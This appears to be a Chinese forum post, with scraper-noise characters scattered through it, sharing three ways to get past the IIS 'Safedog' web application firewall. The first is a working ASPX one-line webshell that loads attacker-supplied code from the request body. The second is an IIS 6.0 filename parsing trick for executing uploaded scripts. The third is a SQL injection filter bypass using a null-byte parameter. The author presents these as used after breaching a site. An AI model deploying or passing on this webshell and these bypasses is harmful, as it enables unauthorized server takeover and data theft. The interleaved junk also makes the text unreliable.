1、绕过IIS安全狗的一句话。
2 ^8 c8 e* S9 A4 v前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
& I0 y' A3 j* D9 C" {<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。& \' z6 ?- i8 u, W+ N/ j
! I, U' q, v4 R" o7 l2 z1 M
2、IIS6.0解析漏洞遇到安全狗。/ `2 ?# z$ `# N' t
文件名为
0 u3 V7 ~0 J( J' p4 [0 Lhttp://www.xxxxx.com/sh3llc0de.asp;1.jpg
S2 ?$ k0 a" u& I) r5 N8 z
9 p- Q; r' V- H; ?* I这样的会被IIS安全狗果断屏蔽。
- q6 F3 e$ Q- L- l改成如下名称,IIS6一样会解析:+ d/ O& g/ u7 P! x2 E D! G5 H
www.xxxxx.com/;1.asp;1.jpg2 F& Z4 B6 I3 W
9 u7 h X+ z3 \7 L8 S% o3、安全狗的注入绕过。
0 j% D+ _- E4 z0 l常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
( G# D" L* ]' }( K$ V9 A8 Z N" n但如果:
2 Z) f6 W2 d! s `$ b: P) r+ U/ `r00ts.asp?r00ts.com=%00.&id=69%20 and 1=1( w3 o' S% F8 p& D3 m0 v! N
就可以成功绕过了。
3 v3 H' i# i( J; n y* w. x% q1 N5 |* a5 V/ a+ `: X
% F$ Z! Q9 ]! n& ~ |